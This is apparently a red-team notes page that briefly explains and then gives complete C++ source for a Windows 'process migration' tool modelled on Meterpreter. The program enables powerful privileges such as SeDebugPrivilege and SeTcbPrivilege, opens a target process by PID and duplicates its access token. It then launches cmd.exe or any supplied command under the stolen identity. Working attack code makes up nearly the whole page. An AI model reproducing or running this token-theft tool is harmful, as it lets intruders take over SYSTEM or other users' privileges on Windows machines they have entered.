Red Teaming
Malware Analysis
IoT / Reverse / Firmware
Process migration like meterpreter
Those are some of the things the code is doing:
- Check if the migrate.exe process is running with the privileges of the “nt authority\system” user. We need it for future impersonation functionality.
- Open Handle to the wanted process (this is the PID of the process we want to steal the privilege tokens from).
- Duplicate their tokens (privileges in windows system was managed by tokens).
- If the duplication was successful it tries to run new process by using these duplicated tokens.
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#include <windows.h>
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#include <wchar.h>
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#include <iostream>
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#include <stdio.h>
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#include <stdlib.h>
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using namespace std;
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void usage(char *name)
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{
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cout << "(-) Ex.: " << name << " <PID> :: for open cmd.exe with new privilages.\n";
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cout << "(-) Ex.: " << name << " <PID> \"<command>\" :: for execute command by priveleges of requested PID.\n";
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}
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BOOL SetPrivilege(HANDLE hToken, // access token handle
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LPCTSTR lpszPrivilege, // name of privilege to enable/disable
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BOOL bEnablePrivilege // to enable or disable privilege )
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{
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TOKEN_PRIVILEGES tp;
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LUID luid;
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if (!LookupPrivilegeValue(
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NULL, // lookup privilege on local system
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lpszPrivilege, // privilege to lookup
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&luid)) // receives LUID of privilege
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{
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printf("\t(-) LookupPrivilegeValue error: %u\n", GetLastError());
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return FALSE;
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}
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tp.PrivilegeCount = 1;
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tp.Privileges[0].Luid = luid;
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if (bEnablePrivilege)
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tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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else
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tp.Privileges[0].Attributes = 0;
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// Enable the privilege or disable all privileges.
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if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
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{
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printf("\t(-) AdjustTokenPrivileges error: %u\n", GetLastError());
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return FALSE;
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}
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if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
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{
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printf("\t(-) The token does not have the specified privilege. ");
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return FALSE;
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}
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return TRUE;
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}
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BOOL check()
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{
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BOOL result = TRUE;
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BOOL bResult;
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HANDLE fhToken;
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LUID fLuid;
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PRIVILEGE_SET privs;
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OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &fhToken);
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wchar_t *cPrivs[] = { L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege" };
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for (int i = 0; i < 2; i++)
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{
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if (!LookupPrivilegeValue(
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NULL, // lookup privilege on local system
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(LPCTSTR)cPrivs[i], // privilege to lookup
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&fLuid)) // receives LUID of privilege
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{
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printf("LookupPrivilegeValue error: %u\n", GetLastError());
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ExitProcess(0);
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}
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privs.PrivilegeCount = 1;
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privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
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privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
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privs.Privilege[0].Luid = fLuid;
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PrivilegeCheck(fhToken, &privs, &bResult);
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if (!bResult)
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{
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wprintf(L"\t(-) The process dosn't have the %s\n\n", cPrivs[i]);
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result = FALSE;
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}
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}
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return result;
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}
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int main(int argc, char *argv[])
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{
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DWORD flag;
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if (argc <= 1 || argc >= 4)
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{
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usage(argv[0]);
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exit(0);
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}
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char *command;
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if (argc > 2)
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{
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command = argv[2];
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flag = CREATE_NO_WINDOW;
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}
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else
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{
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command = "cmd.exe";
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flag = 0;
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}
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DWORD pid = atoi(argv[1]);
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cout << "\n[***] Starting the migrate functionality, requested PID => " << pid << " [***]\n";
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cout << "(!) Check if the process have an required permissions...\n";
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Sleep(1000);
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if (!check())
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{
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cout << "(!) Trying to set the necessary privileges.\n";
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HANDLE currentProcessToken;
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OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, ¤tProcessToken);
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wchar_t *privs[9] = {L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege", L"SeCreateGlobalPrivilege", L"SeDebugPrivilege", L"SeImpersonatePrivilege", L"SeIncreaseQuotaPrivilege", L"SeProfileSingleProcessPrivilege", L"SeSecurityPrivilege", L"SeSystemEnvironmentPrivilege"};
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for (int i = 0; i < 9; i++)
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{
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if (!SetPrivilege(currentProcessToken, privs[i], true))
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{
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wprintf(L"Access denied to set %s \n", privs[i]);
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cout << "\t(-) You does not have the specified privilege. Migration aborted.\n";
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ExitProcess(0);
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}
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}
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}
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cout << "\t(+) All required Permissions was successfull granted.\n\n";
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cout << "(!) Trying to open Handel for requested PID.\n";
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Sleep(1000);
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HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
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if (!hProcess) {
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cout << "\t(-) Can not open handle for requested PID";
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ExitProcess(0);
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}
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cout << "\t(+) The HANDLE was created success.\n\n";
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cout << "(!) Try to Duplicte existen tokens of the requested PID " << pid << "\n";
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HANDLE NewTokens;
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if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &NewTokens))
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{
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cout << "\t(-) Denied to handle Process Tokens\n";
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ExitProcess(0);
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}
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cout << "\t(+) Extracting tokens was successfull\n";
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Sleep(500);
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HANDLE hPrimaryToken;
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if (!DuplicateTokenEx(NewTokens, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken))
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{
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cout << "\t(-) Denied to Duplicate process Tokens\n";
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}
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cout << "\t(+) Duplicate tokens was successfull\n\n";
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Sleep(1000);
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cout << "(!) Try to execute new process with duplicated tokens.\n";
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STARTUPINFO si;
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PROCESS_INFORMATION pi;
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ZeroMemory(&si, sizeof(si));
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si.cb = sizeof(si);
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si.lpDesktop = L"WinSta0\\Default"; //window station and desktop of interactive user
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ZeroMemory(&pi, sizeof(pi));
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wchar_t cmd[500];
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swprintf_s(cmd, L"cmd.exe /c %hs", command);
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Sleep(500);
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if (!CreateProcessWithTokenW(hPrimaryToken, 0x00000001, NULL, (LPWSTR)cmd, flag, NULL, NULL, &si, &pi))
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{
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cout << "\t(-) Somthing went wrong!!! \n\t";
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printf(" -Can't create new process with Extracted tokens, got error: %u\n", GetLastError());
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ExitProcess(0);
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}
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cout << "[***] We successfuly Migrated to requested PID. [***]\n";
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if (command != argv[2])
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{
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cout << "[***] The CMD console with new privilages was opened. [***]\n";
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}
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else
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{
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cout << "[***] Command was executed succesfully!!! [***]";
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}
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return 0;
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}
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Last modified 10mo ago
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